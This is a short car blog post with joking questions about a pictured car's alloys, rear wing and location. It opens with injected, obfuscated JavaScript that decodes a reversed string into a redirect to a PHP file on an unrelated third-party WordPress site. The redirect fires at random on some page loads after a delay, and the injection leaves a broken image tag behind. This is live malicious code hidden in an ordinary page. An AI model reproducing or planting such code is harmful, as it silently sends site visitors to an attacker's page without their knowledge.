$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/09/7927299656_f91e104344_b.jpg” alt=”” width=”728″ height=”511″ />
A couple of things intrigue us about this particular image. How pray does the owner clean the front alloys without scuffing a knuckle? Exactly how much downforce will he receive from the rear wing under the current setup?
And, most importantly, whereabouts is this location and would he mind lending us the keys for an afternoon?
Why do we ask? Oh…no reason…
Source – Mike Sugg
